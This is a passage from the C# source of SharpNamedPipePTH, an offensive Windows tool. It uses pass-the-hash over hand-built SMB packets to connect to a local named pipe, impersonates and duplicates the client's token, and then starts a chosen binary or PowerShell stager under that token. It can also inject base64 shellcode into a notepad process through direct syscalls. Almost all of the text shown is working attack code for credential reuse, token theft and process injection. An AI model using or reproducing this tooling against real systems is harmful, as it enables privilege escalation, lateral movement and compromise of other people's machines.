| bool result = ConnectNamedPipe(hPipe, IntPtr.Zero); 232 | 233 | if (result) 234 | { 235 | Console.WriteLine("Connect success!"); 236 | } 237 | else 238 | { 239 | Console.WriteLine("Connect fail!"); 240 | return; 241 | } 242 | 243 | // Impersonate the token of the incoming connection 244 | result = ImpersonateNamedPipeClient(hPipe); 245 | if (result) 246 | { 247 | Console.WriteLine("Successfully impersonated client!"); 248 | } 249 | else 250 | { 251 | Console.WriteLine("Impersonation failed!"); 252 | return; 253 | } 254 | 255 | // Open a handle on the impersonated token 256 | IntPtr tokenHandle; 257 | result = OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, out tokenHandle); 258 | 259 | if (result) 260 | { 261 | Console.WriteLine("OpenThreadToken succeeded!"); 262 | } 263 | else 264 | { 265 | Console.WriteLine("OpenThreadToken failed!"); 266 | return; 267 | } 268 | 269 | // Duplicate the stolen token 270 | IntPtr sysToken = IntPtr.Zero; 271 | DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, IntPtr.Zero, SECURITY_IMPERSONATION, TOKEN_PRIMARY, out sysToken); 272 | 273 | if (result) 274 | { 275 | Console.WriteLine("DuplicateTokenEx succeeded!"); 276 | } 277 | else 278 | { 279 | Console.WriteLine("DuplicateTokenEx failed!"); 280 | return; 281 | } 282 | 283 | // Get the impersonated identity and revert to self to ensure we have impersonation privs 284 | String name = WindowsIdentity.GetCurrent().Name; 285 | Console.WriteLine($"Impersonated user is: {name}."); 286 | 287 | if (shellcodebytes != null) 288 | { 289 | 290 | RevertToSelf(); 291 | 292 | PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION(); 293 | STARTUPINFO sInfo = new STARTUPINFO(); 294 | sInfo.cb = Marshal.SizeOf(sInfo); 295 | 296 | binary = @"C:\windows\system32\notepad.exe"; 297 | 298 | bool output = CreateProcessWithTokenW(sysToken, 0, null, binary, CreationFlags.NewConsole, IntPtr.Zero, null, ref sInfo, out pInfo); 299 | Console.WriteLine($"Executed '{binary}' to deploy shellcode in that process!"); 300 | 301 | int ProcID = ProcByName("notepad"); 302 | 303 | var shellcode = shellcodebytes; 304 | 305 | // NtOpenProcess 306 | IntPtr stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtOpenProcess"); 307 | NtOpenProcess ntOpenProcess = (NtOpenProcess)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtOpenProcess)); 308 | 309 | IntPtr hProcess = IntPtr.Zero; 310 | OBJECT_ATTRIBUTES oa = new OBJECT_ATTRIBUTES(); 311 | 312 | CLIENT_ID ci = new CLIENT_ID 313 | { 314 | UniqueProcess = (IntPtr)(ProcID) 315 | }; 316 | 317 | SharpNamedPipePTH.DynamicInvokation.Native.NTSTATUS statusresult; 318 | 319 | statusresult = ntOpenProcess( 320 | ref hProcess, 321 | 0x001F0FFF, 322 | ref oa, 323 | ref ci); 324 | 325 | // NtAllocateVirtualMemory 326 | stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtAllocateVirtualMemory"); 327 | NtAllocateVirtualMemory ntAllocateVirtualMemory = (NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtAllocateVirtualMemory)); 328 | 329 | IntPtr baseAddress = IntPtr.Zero; 330 | IntPtr regionSize = (IntPtr)shellcodebytes.Length; 331 | 332 | statusresult = ntAllocateVirtualMemory( 333 | hProcess, 334 | ref baseAddress, 335 | IntPtr.Zero, 336 | ref regionSize, 337 | 0x1000 | 0x2000, 338 | 0x04); 339 | 340 | // NtWriteVirtualMemory 341 | stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtWriteVirtualMemory"); 342 | NtWriteVirtualMemory ntWriteVirtualMemory = (NtWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtWriteVirtualMemory)); 343 | 344 | var buffer = Marshal.AllocHGlobal(shellcodebytes.Length); 345 | Marshal.Copy(shellcodebytes, 0, buffer, shellcodebytes.Length); 346 | 347 | uint bytesWritten = 0; 348 | 349 | statusresult = ntWriteVirtualMemory( 350 | hProcess, 351 | baseAddress, 352 | buffer, 353 | (uint)shellcodebytes.Length, 354 | ref bytesWritten); 355 | 356 | // NtProtectVirtualMemory 357 | stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtProtectVirtualMemory"); 358 | NtProtectVirtualMemory ntProtectVirtualMemory = (NtProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtProtectVirtualMemory)); 359 | 360 | uint oldProtect = 0; 361 | 362 | statusresult = ntProtectVirtualMemory( 363 | hProcess, 364 | ref baseAddress, 365 | ref regionSize, 366 | 0x20, 367 | ref oldProtect); 368 | 369 | // NtCreateThreadEx 370 | stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtCreateThreadEx"); 371 | NtCreateThreadEx ntCreateThreadEx = (NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtCreateThreadEx)); 372 | 373 | IntPtr hThread = IntPtr.Zero; 374 | 375 | statusresult = ntCreateThreadEx( 376 | out hThread, 377 | SharpNamedPipePTH.DynamicInvokation.Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED, 378 | IntPtr.Zero, 379 | hProcess, 380 | baseAddress, 381 | IntPtr.Zero, 382 | false, 383 | 0, 384 | 0, 385 | 0, 386 | IntPtr.Zero); 387 | 388 | } 389 | else 390 | { 391 | 392 | 393 | RevertToSelf(); 394 | 395 | // Spawn a new process with the duplicated token, a desktop session, and the created profile 396 | PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION(); 397 | STARTUPINFO sInfo = new STARTUPINFO(); 398 | 399 | sInfo.cb = Marshal.SizeOf(sInfo); 400 | 401 | bool output = CreateProcessWithTokenW(sysToken, 0, binary, args, CreationFlags.NewConsole, IntPtr.Zero, null, ref sInfo, out pInfo); 402 | Console.WriteLine($"Executed '{binary}' with impersonated token!"); 403 | } 404 | } 405 | } 406 | } 407 | } 408 | -------------------------------------------------------------------------------- /SharpNamedPipePTH/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Threading; 3 | using System.Runtime.InteropServices; 4 | using System.Security.Principal; 5 | using System.Security.AccessControl; 6 | 7 | namespace SharpNamedPipePTH 8 | { 9 | class Program 10 | { 11 | 12 | public static void Main(string[] args) 13 | { 14 | 15 | //User Set 16 | string username = ""; 17 | string domain = "."; 18 | string pipename = "ShitSecure"; 19 | string hash = ""; 20 | bool ForceSMB1 = false; 21 | string binary = ""; 22 | string Args = ""; 23 | string shellcode = ""; 24 | 25 | bool usernamegiven = false; 26 | bool hashgiven = false; 27 | bool shellcodegiven = false; 28 | bool binarygiven = false; 29 | 30 | try 31 | { 32 | if (args.Length < 1) 33 | { 34 | displayHelp("Usage:"); 35 | return; 36 | } 37 | ArgumentParserResult arguments = ArgParse.Parse(args); 38 | 39 | if (arguments.ParsedOk == false) 40 | { 41 | displayHelp("Error Parsing Arguments"); 42 | return; 43 | } 44 | 45 | if (arguments.Arguments.ContainsKey("showhelp")) 46 | { 47 | displayHelp("Usage:"); 48 | return; 49 | } 50 | if (arguments.Arguments.ContainsKey("-h")) 51 | { 52 | displayHelp("Usage:"); 53 | return; 54 | } 55 | if (arguments.Arguments.ContainsKey("pipename")) 56 | { 57 | pipename = arguments.Arguments["pipename"]; 58 | } 59 | if (arguments.Arguments.ContainsKey("shellcode")) 60 | { 61 | shellcode = arguments.Arguments["shellcode"]; 62 | shellcodegiven = true; 63 | } 64 | 65 | if (arguments.Arguments.ContainsKey("binary")) 66 | { 67 | binary = arguments.Arguments["binary"]; 68 | binarygiven = true; 69 | } 70 | 71 | if (arguments.Arguments.ContainsKey("arguments")) 72 | { 73 | Args = arguments.Arguments["arguments"]; 74 | } 75 | 76 | if (arguments.Arguments.ContainsKey("forcesmb1")) 77 | { 78 | ForceSMB1 = true; 79 | } 80 | 81 | if (arguments.Arguments.ContainsKey("hash")) 82 | { 83 | hash = arguments.Arguments["hash"]; 84 | hashgiven = true; 85 | } 86 | if (arguments.Arguments.ContainsKey("username")) 87 | { 88 | username = arguments.Arguments["username"]; 89 | usernamegiven = true; 90 | } 91 | 92 | if (arguments.Arguments.ContainsKey("domain")) 93 | { 94 | domain = arguments.Arguments["domain"]; 95 | } 96 | if (!(usernamegiven && hashgiven && ( shellcodegiven || binarygiven))) 97 | { 98 | Console.WriteLine(usernamegiven); 99 | Console.WriteLine(hashgiven); 100 | Console.WriteLine(shellcodegiven); 101 | Console.WriteLine(binarygiven); 102 | displayHelp("Usage:"); 103 | return; 104 | } 105 | 106 | } 107 | catch 108 | { 109 | displayHelp("Error Parsing Arguments"); 110 | return; 111 | } 112 | 113 | //Change WINSTA/DESKTOP Permissions 114 | 115 | GrantAccessToWindowStationAndDesktop(username); 116 | 117 | // Start Pipe Server 118 | Console.WriteLine("Starting Pipe Server Thread!"); 119 | 120 | if (shellcodegiven) 121 | { 122 | byte[] shellcodebytes = Convert.FromBase64String(shellcode); 123 | Thread t = new Thread(() => SharpNamedPipePTH.PipeServerImpersonate.ImpersonateClient(pipename, binary, shellcodebytes, Args)); 124 | t.Start(); 125 | } 126 | else 127 | { 128 | byte[] shellcodebytes = null; 129 | Thread t = new Thread(() => SharpNamedPipePTH.PipeServerImpersonate.ImpersonateClient(pipename, binary, shellcodebytes, Args)); 130 | t.Start(); 131 | } 132 | // Connect to the Named Pipe via NamedPipePTH 133 | Console.WriteLine($"Connecting to the Named Pipe via Pass-the-Hash - using username {username}"); 134 | Thread.Sleep(4000); 135 | SharpNamedPipePTH.NamedpipePTH.NamedPipePTH(username, domain, hash, pipename, ForceSMB1); 136 | 137 | } 138 | 139 | 140 | // Stolen from https://stackoverflow.com/questions/677874/starting-a-process-with-credentials-from-a-windows-service 141 | public static void GrantAccessToWindowStationAndDesktop(string username) 142 | { 143 | IntPtr handle; 144 | const int WindowStationAllAccess = 0x000f037f; 145 | handle = GetProcessWindowStation(); 146 | GrantAccess(username, handle, WindowStationAllAccess); 147 | const int DesktopRightsAllAccess = 0x000f01ff; 148 | handle = GetThreadDesktop(GetCurrentThreadId()); 149 | GrantAccess(username, handle, DesktopRightsAllAccess); 150 | } 151 | 152 | private static void GrantAccess(string username, IntPtr handle, int accessMask) 153 | { 154 | SafeHandle safeHandle = new NoopSafeHandle(handle); 155 | GenericSecurity security = 156 | new GenericSecurity( 157 | false, ResourceType.WindowObject, safeHandle, AccessControlSections.Access); 158 | 159 | security.AddAccessRule( 160 | new GenericAccessRule( 161 | new NTAccount(username), accessMask, AccessControlType.Allow)); 162 | security.Persist(safeHandle, AccessControlSections.Access); 163 | } 164 | 165 | // All the code to manipulate a security object is available in .NET framework, 166 | // but its API tries to be type-safe and handle-safe, enforcing a special implementation 167 | // (to an otherwise generic WinAPI) for each handle type. This is to make sure 168 | // only a correct set of permissions can be set for corresponding object types and 169 | // mainly that handles do not leak. 170 | // Hence the AccessRule and the NativeObjectSecurity classes are abstract. 171 | // This is the simplest possible implementation that yet allows us to make use 172 | // of the existing .NET implementation, sparing necessity to 173 | // P/Invoke the underlying WinAPI. 174 | 175 | private class GenericAccessRule : AccessRule 176 | { 177 | public GenericAccessRule( 178 | IdentityReference identity, int accessMask, AccessControlType type) : 179 | base(identity, accessMask, false, InheritanceFlags.None, 180 | PropagationFlags.None, type) 181 | { 182 | } 183 | } 184 | 185 | private class GenericSecurity : NativeObjectSecurity 186 | { 187 | public GenericSecurity( 188 | bool isContainer, ResourceType resType, SafeHandle objectHandle, 189 | AccessControlSections sectionsRequested) 190 | : base(isContainer, resType, objectHandle, sectionsRequested) 191 | { 192 | } 193 | 194 | new public void Persist(SafeHandle handle, AccessControlSections includeSections) 195 | { 196 | base.Persist(handle, includeSections); 197 | } 198 | 199 | new public void AddAccessRule(AccessRule rule) 200 | { 201 | base.AddAccessRule(rule); 202 | } 203 | 204 | #region NativeObjectSecurity Abstract Method Overrides 205 | 206 | public override Type AccessRightType 207 | { 208 | get { throw new NotImplementedException(); } 209 | } 210 | 211 | public override AccessRule AccessRuleFactory( 212 | System.Security.Principal.IdentityReference identityReference, 213 | int accessMask, bool isInherited, InheritanceFlags inheritanceFlags, 214 | PropagationFlags propagationFlags, AccessControlType type) 215 | { 216 | throw new NotImplementedException(); 217 | } 218 | 219 | public override Type AccessRuleType 220 | { 221 | get { return typeof(AccessRule); } 222 | } 223 | 224 | public override AuditRule AuditRuleFactory( 225 | System.Security.Principal.IdentityReference identityReference, int accessMask, 226 | bool isInherited, InheritanceFlags inheritanceFlags, 227 | PropagationFlags propagationFlags, AuditFlags flags) 228 | { 229 | throw new NotImplementedException(); 230 | } 231 | 232 | public override Type AuditRuleType 233 | { 234 | get { return typeof(AuditRule); } 235 | } 236 | 237 | #endregion 238 | } 239 | 240 | // Handles returned by GetProcessWindowStation and GetThreadDesktop should not be closed 241 | private class NoopSafeHandle : SafeHandle 242 | { 243 | public NoopSafeHandle(IntPtr handle) : 244 | base(handle, false) 245 | { 246 | } 247 | 248 | public override bool IsInvalid 249 | { 250 | get { return false; } 251 | } 252 | 253 | protected override bool ReleaseHandle() 254 | { 255 | return true; 256 | } 257 | } 258 | 259 | // end of stolen from 260 | 261 | // Imports, feel free porting them to D/Invoke / Syscalls :P 262 | 263 | [DllImport("user32.dll", SetLastError = true)] 264 | private static extern IntPtr GetProcessWindowStation(); 265 | 266 | [DllImport("user32.dll", SetLastError = true)] 267 | private static extern IntPtr GetThreadDesktop(int dwThreadId); 268 | 269 | [DllImport("kernel32.dll", SetLastError = true)] 270 | private static extern int GetCurrentThreadId(); 271 | 272 | 273 | public static void displayHelp(string message) 274 | { 275 | Console.WriteLine("{0} \r\n\r\nSharpNamedPipePTH.exe username: domain: hash: pipename: binary:\r\n", message); 276 | Console.WriteLine("\r\n=========================== or for shellcode execution ==========================="); 277 | Console.WriteLine("\r\nSharpNamedPipePTH.exe username: domain: hash: pipename: shellcode:"); 278 | Console.WriteLine("\r\n====================== or argument usage for Powershell stagers ======================"); 279 | Console.WriteLine("\r\nSharpNamedPipePTH.exe username: domain: hash: pipename: binary: arguments:"); 280 | return; 281 | } 282 | } 283 | } 284 | -------------------------------------------------------------------------------- /SharpNamedPipePTH/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("SharpNamedPipePTH")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("SharpNamedPipePTH")] 13 | [assembly: AssemblyCopyright("Copyright © 2017")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("344ee55a-4e32-46f2-a003-69ad52b55945")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /SharpNamedPipePTH/SMBConnect.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Specialized; 3 | using System.Linq; 4 | 5 | namespace SharpNamedPipePTH 6 | { 7 | public class SMBConnect 8 | { 9 | /// 10 | /// SMBConnect contains all of the functions used to manually create SMB Packet Structures for Pass the Hash attacks. 11 | /// 12 | /// 13 | /// Based Heavily on Kevin Robertsons Invoke-TheHash toolset (Found 14 | /// at https://github.com/Kevin-Robertson/Invoke-TheHash) 15 | /// 16 | 17 | #region SMBv1 18 | public static OrderedDictionary NetBIOSSessionService(int packet_header_length, int packet_data_length) 19 | { 20 | byte[] packet_netbios_session_service_length = BitConverter.GetBytes(packet_header_length + packet_data_length); 21 | packet_netbios_session_service_length = new byte[] { packet_netbios_session_service_length[2], packet_netbios_session_service_length[1], packet_netbios_session_service_length[0] }; 22 | 23 | OrderedDictionary packet_NetBIOSSessionService = new OrderedDictionary(); 24 | packet_NetBIOSSessionService.Add("NetBIOSSessionService_Message_Type", new byte[] { 0x00 }); 25 | packet_NetBIOSSessionService.Add("NetBIOSSessionService_Length", packet_netbios_session_service_length); 26 | 27 | return packet_NetBIOSSessionService; 28 | } 29 | public static OrderedDictionary SMBHeader(byte[] packet_command, byte[] packet_flags, byte[] packet_flags2, byte[] packet_tree_ID, byte[] packet_process_ID, byte[] packet_user_ID) 30 | { 31 | byte[] ProcessID = new byte[2] { packet_process_ID[0], packet_process_ID[1] }; 32 | OrderedDictionary packet_SMBHeader = new OrderedDictionary(); 33 | packet_SMBHeader.Add("SMBHeader_Protocol", new byte[] { 0xff, 0x53, 0x4d, 0x42 }); 34 | packet_SMBHeader.Add("SMBHeader_Command", packet_command); 35 | packet_SMBHeader.Add("SMBHeader_ErrorClass", new byte[] { 0x00 }); 36 | packet_SMBHeader.Add("SMBHeader_Reserved", new byte[] { 0x00 }); 37 | packet_SMBHeader.Add("SMBHeader_ErrorCode", new byte[] { 0x00, 0x00 }); 38 | packet_SMBHeader.Add("SMBHeader_Flags", packet_flags); 39 | packet_SMBHeader.Add("SMBHeader_Flags2", packet_flags2); 40 | packet_SMBHeader.Add("SMBHeader_ProcessIDHigh", new byte[] { 0x00, 0x00 }); 41 | packet_SMBHeader.Add("SMBHeader_Signature", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); 42 | packet_SMBHeader.Add("SMBHeader_Reserved2", new byte[] { 0x00, 0x00 }); 43 | packet_SMBHeader.Add("SMBHeader_TreeID", packet_tree_ID); 44 | packet_SMBHeader.Add("SMBHeader_ProcessID", ProcessID); 45 | packet_SMBHeader.Add("SMBHeader_UserID", packet_user_ID); 46 | packet_SMBHeader.Add("SMBHeader_MultiplexID", new byte[] { 0x00, 0x00 }); 47 | return packet_SMBHeader; 48 | } 49 | public static OrderedDictionary SMBNegotiateProtocolRequest(bool ForceSMB1) 50 | { 51 | byte[] packet_byte_count; 52 | if (ForceSMB1) 53 | { 54 | packet_byte_count = new byte[] { 0x0c, 0x00 }; 55 | } 56 | else 57 | { 58 | packet_byte_count = new byte[] { 0x22, 0x00 }; 59 | } 60 | //https://msdn.microsoft.com/en-us/library/ee441572.aspx 61 | OrderedDictionary packet_SMBNegotiateProtocolRequest = new OrderedDictionary(); 62 | packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_WordCount", new byte[] { 0x00 }); 63 | packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_ByteCount", packet_byte_count); 64 | packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_BufferFormat", new byte[] { 0x02 }); 65 | packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_Name", new byte[] { 0x4e, 0x54, 0x20, 0x4c, 0x4d, 0x20, 0x30, 0x2e, 0x31, 0x32, 0x00 }); 66 | 67 | if (!ForceSMB1) 68 | { 69 | packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_BufferFormat2", new byte[] { 0x02 }); 70 | packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_Name2", new byte[] { 0x53, 0x4d, 0x42, 0x20, 0x32, 0x2e, 0x30, 0x30, 0x32, 0x00 }); 71 | packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_BufferFormat3", new byte[] { 0x02 }); 72 | packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_Name3", new byte[] { 0x53, 0x4d, 0x42, 0x20, 0x32, 0x2e, 0x3f, 0x3f, 0x3f, 0x00 }); 73 | } 74 | 75 | return packet_SMBNegotiateProtocolRequest; 76 | } 77 | public static OrderedDictionary SMBSessionSetupAndXRequest(byte[] packet_security_blob) 78 | { 79 | //https://msdn.microsoft.com/en-us/library/ee441849.aspx 80 | 81 | 82 | byte[] packet_byte_count = BitConverter.GetBytes(packet_security_blob.Length); 83 | byte[] packet_byte_count2 = { packet_byte_count[0], packet_byte_count[1] }; 84 | byte[] packet_security_blob_length = BitConverter.GetBytes(packet_security_blob.Length + 5); 85 | byte[] packet_security_blob_length2 = { packet_security_blob_length[0], packet_security_blob_length[1] }; 86 | 87 | OrderedDictionary packet_SMBSessionSetupAndXRequest = new OrderedDictionary(); 88 | packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_WordCount", new byte[] { 0x0c }); 89 | packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_AndXCommand", new byte[] { 0xff }); 90 | packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_Reserved", new byte[] { 0x00 }); 91 | packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_AndXOffset", new byte[] { 0x00, 0x00 }); 92 | packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_MaxBuffer", new byte[] { 0xff, 0xff }); 93 | packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_MaxMpxCount", new byte[] { 0x02, 0x00 }); 94 | packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_VCNumber", new byte[] { 0x01, 0x00 }); 95 | packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_SessionKey", new byte[] { 0x00, 0x00, 0x00, 0x00 }); 96 | packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_SecurityBlobLength", packet_byte_count2); 97 | packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_Reserved2", new byte[] { 0x00, 0x00, 0x00, 0x00 }); 98 | packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_Capabilities", new byte[] { 0x44, 0x00, 0x00, 0x80 }); 99 | packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_ByteCount", packet_security_blob_length2); 100 | packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_SecurityBlob", packet_security_blob); 101 | packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_NativeOS", new byte[] { 0x00, 0x00, 0x00 }); 102 | packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_NativeLANManage", new byte[] { 0x00, 0x00 }); 103 | 104 | return packet_SMBSessionSetupAndXRequest; 105 | } 106 | public static OrderedDictionary SMBTreeConnectAndXRequest(byte[] packet_path) 107 | { 108 | byte[] packet_path_length = BitConverter.GetBytes(packet_path.Length + 7); 109 | packet_path_length = new byte[] { packet_path_length[0], packet_path_length[1] }; 110 | 111 | OrderedDictionary packet_SMBTreeConnectAndXRequest = new OrderedDictionary(); 112 | packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_WordCount", new byte[] { 0x04 }); 113 | packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_AndXCommand", new byte[] { 0xff }); 114 | packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Reserved", new byte[] { 0x00 }); 115 | packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_AndXOffset", new byte[] { 0x00, 0x00 }); 116 | packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Flags", new byte[] { 0x00, 0x00 }); 117 | packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_PasswordLength", new byte[] { 0x01, 0x00 }); 118 | packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_ByteCount", packet_path_length); 119 | packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Password", new byte[] { 0x00 }); 120 | packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Tree", packet_path); 121 | packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Service", new byte[] { 0x3f, 0x3f, 0x3f, 0x3f, 0x3f, 0x00 }); 122 | 123 | return packet_SMBTreeConnectAndXRequest; 124 | } 125 | public static OrderedDictionary SMBNTCreateAndXRequest(byte[] packet_named_pipe) 126 | { 127 | byte[] packet_named_pipe_length = BitConverter.GetBytes(packet_named_pipe.Length); 128 | byte[] packet_named_pipe_length2 = { packet_named_pipe_length[0], packet_named_pipe_length[1] }; 129 | byte[] packet_file_name_length = BitConverter.GetBytes(packet_named_pipe.Length - 1); 130 | byte[] packet_file_name_length2 = { packet_file_name_length[0], packet_file_name_length[1] }; 131 | 132 | OrderedDictionary packet_SMBNTCreateAndXRequest = new OrderedDictionary(); 133 | packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_WordCount", new byte[] { 0x18 }); 134 | packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_AndXCommand", new byte[] { 0xff }); 135 | packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Reserved", new byte[] { 0x00 }); 136 | packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_AndXOffset", new byte[] { 0x00, 0x00 }); 137 | packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Reserved2", new byte[] { 0x00 }); 138 | packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_FileNameLen", packet_file_name_length2); 139 | packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_CreateFlags", new byte[] { 0x16, 0x00, 0x00, 0x00 }); 140 | packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_RootFID", new byte[] { 0x00, 0x00, 0x00, 0x00 }); 141 | packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_AccessMask", new byte[] { 0x00, 0x00, 0x00, 0x02 }); 142 | packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_AllocationSize", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); 143 | packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_FileAttributes", new byte[] { 0x00, 0x00, 0x00, 0x00 }); 144 | packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_ShareAccess", new byte[] { 0x07, 0x00, 0x00, 0x00 }); 145 | packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Disposition", new byte[] { 0x01, 0x00, 0x00, 0x00 }); 146 | packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_CreateOptions", new byte[] { 0x00, 0x00, 0x00, 0x00 }); 147 | packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Impersonation", new byte[] { 0x02, 0x00, 0x00, 0x00 }); 148 | packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_SecurityFlags", new byte[] { 0x00 }); 149 | packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_ByteCount", packet_named_pipe_length2); 150 | packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Filename", packet_named_pipe); 151 | 152 | return packet_SMBNTCreateAndXRequest; 153 | } 154 | public static OrderedDictionary SMBReadAndXRequest(byte[] SMB_FID) 155 | { 156 | 157 | if (SMB_FID == null) 158 | { 159 | SMB_FID = new byte[] { 0x00, 0x40 }; 160 | } 161 | OrderedDictionary packet_SMBReadAndXRequest = new OrderedDictionary(); 162 | packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_WordCount", new byte[] { 0x0a }); 163 | packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_AndXCommand", new byte[] { 0xff }); 164 | packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_Reserved", new byte[] { 0x00 }); 165 | packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_AndXOffset", new byte[] { 0x00, 0x00 }); 166 | packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_FID", SMB_FID); 167 | packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_Offset", new byte[] { 0x00, 0x00, 0x00, 0x00 }); 168 | packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_MaxCountLow", new byte[] { 0x58, 0x02 }); 169 | packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_MinCount", new byte[] { 0x58, 0x02 }); 170 | packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_Unknown", new byte[] { 0xff, 0xff, 0xff, 0xff }); 171 | packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_Remaining", new byte[] { 0x00, 0x00 }); 172 | packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_ByteCount", new byte[] { 0x00, 0x00 }); 173 | 174 | return packet_SMBReadAndXRequest; 175 | } 176 | public static OrderedDictionary SMBWriteAndXRequest(byte[] packet_file_ID, int packet_RPC_length) 177 | { 178 | byte[] packet_write_length = BitConverter.GetBytes(packet_RPC_length); 179 | packet_write_length = new byte[] { packet_write_length[0], packet_write_length[1] }; 180 | 181 | OrderedDictionary 